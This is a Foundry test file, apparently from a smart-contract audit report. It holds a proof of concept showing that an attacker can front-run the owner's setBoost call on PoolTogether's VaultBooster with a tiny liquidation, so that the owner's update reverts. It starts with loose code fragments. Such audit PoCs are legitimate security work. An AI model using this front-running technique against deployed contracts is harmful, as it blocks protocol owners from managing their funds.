if (_initialAvailable > 0) {
      uint256 balance = _token.balanceOf(address(this));
      if (balance < _initialAvailable) {
        revert InitialAvailableExceedsBalance(_initialAvailable, balance);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

import "openzeppelin/token/ERC20/ERC20.sol";

contract MockERC20 is ERC20 {
  constructor(string memory _name, string memory _symbol) ERC20(_name, _symbol) {}

  function mint(address to, uint256 amount) public {
    _mint(to, amount);
  }
}
import { ContinuousGDA } from "./ContinuousGDA.sol";
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.19;

import "forge-std/Test.sol";
import "forge-std/console.sol";

import "./MockERC20.sol";
import "./LiquidationPair.sol";

import { SD1x18, unwrap, UNIT, sd1x18 } from "prb-math/SD1x18.sol";
import { UD2x18, ud2x18 } from "prb-math/UD2x18.sol";

import { VaultBooster, Boost, UD60x18, UD2x18, InitialAvailableExceedsBalance, OnlyLiquidationPair, UnsupportedTokenIn, InsufficientAvailableBalance } from "../../src/VaultBooster.sol";
import { PrizePool, TwabController, ConstructorParams, IERC20 } from "pt-v5-prize-pool/PrizePool.sol";

contract PoC is Test {

  // Tons of params required to setup the whole PoolTogether system

  ConstructorParams params;
  VaultBooster booster;
  LiquidationPair liquidationPair;
  ILiquidationSource source;
  TwabController twabController;
  PrizePool prizePool;
  MockERC20 boostToken;
  MockERC20 prizeToken;

  address vault;
  SD59x18 decayConstant = wrap(0.001e18);
  uint32 periodLength = 1 days;
  uint32 periodOffset = 1 days;
  uint32 targetFirstSaleTime = 12 hours;
  uint112 initialAmountIn = 1e18;
  uint112 initialAmountOut = 1e18;
  uint256 minimumAuctionAmount = 0;
  uint32 drawPeriodSeconds = 1 days;
  uint64 lastClosedDrawStartedAt = uint64(block.timestamp + 1 days);
  uint8 initialNumberOfTiers = 3;
  address drawManager = address(this);

  function setUp() public {
    //TokenIn
    prizeToken = new MockERC20("PrizeToken", "PT");

    //TokenOut
    boostToken = new MockERC20("BoostToken", "BT");

    //TwabController
    twabController = new TwabController(drawPeriodSeconds, uint32(block.timestamp));

    //Prize Vault
    vault = makeAddr("vault");

    //Prize Pool
    params = ConstructorParams(
      IERC20(address(prizeToken)),
      twabController,
      drawManager,
      drawPeriodSeconds,
      lastClosedDrawStartedAt,
      initialNumberOfTiers,
      100,
      10,
      10,
      ud2x18(0.9e18),
      sd1x18(0.9e18)
    );
    prizePool = new PrizePool(params);

    //Vault Booster
    booster = new VaultBooster(prizePool, vault, address(this));

    //Liquidation Pair
    source = ILiquidationSource(address(booster));
    liquidationPair = new LiquidationPair(
      source,
      address(prizeToken),
      address(boostToken),
      periodLength,
      periodOffset,
      targetFirstSaleTime,
      decayConstant,
      initialAmountIn,
      initialAmountIn,
      minimumAuctionAmount
    );
  }

  function testFrontRun() public {
    vm.warp(0);

    //Minting 1e18 Boost Tokens to the Booster
    boostToken.mint(address(booster), 1e18);

    //Setting up the Booster to allow liquidation for Boost Token
    booster.setBoost(boostToken, address(liquidationPair), UD2x18.wrap(0.001e18), 0.03e18, 1e18);

    //Ensuring VaultBooster is properly configured
    Boost memory boost = booster.getBoost(boostToken);
    assertEq(boost.available, 1e18);

    vm.warp(10);

    //Now the Vault Booster's owner decides to update the boost values by calling `setBoost`
    //But attacker front-runs it by doing the following two steps in a single transaction

    //1. Attacker sends 100 wei Prize Tokens to Prize Pool
    prizeToken.mint(address(prizePool), 100);
    //2. Attacker calls the liquidation Pair to liquidate 100 wei of Boost Tokens for 100 wei of Prize Tokens in Vault Booster
    vm.prank(address(liquidationPair));
    booster.liquidate(address(this), address(prizeToken), 100, address(boostToken), 100);

    //The transcation to update the boost will revert as `_initialAvailable < balance` due to liquidation of tokens
    vm.expectRevert();
    booster.setBoost(boostToken, address(liquidationPair), UD2x18.wrap(0.002e18), 0.03e18, 1e18);
  }
}
forge test --mc "PoC" -vvvv
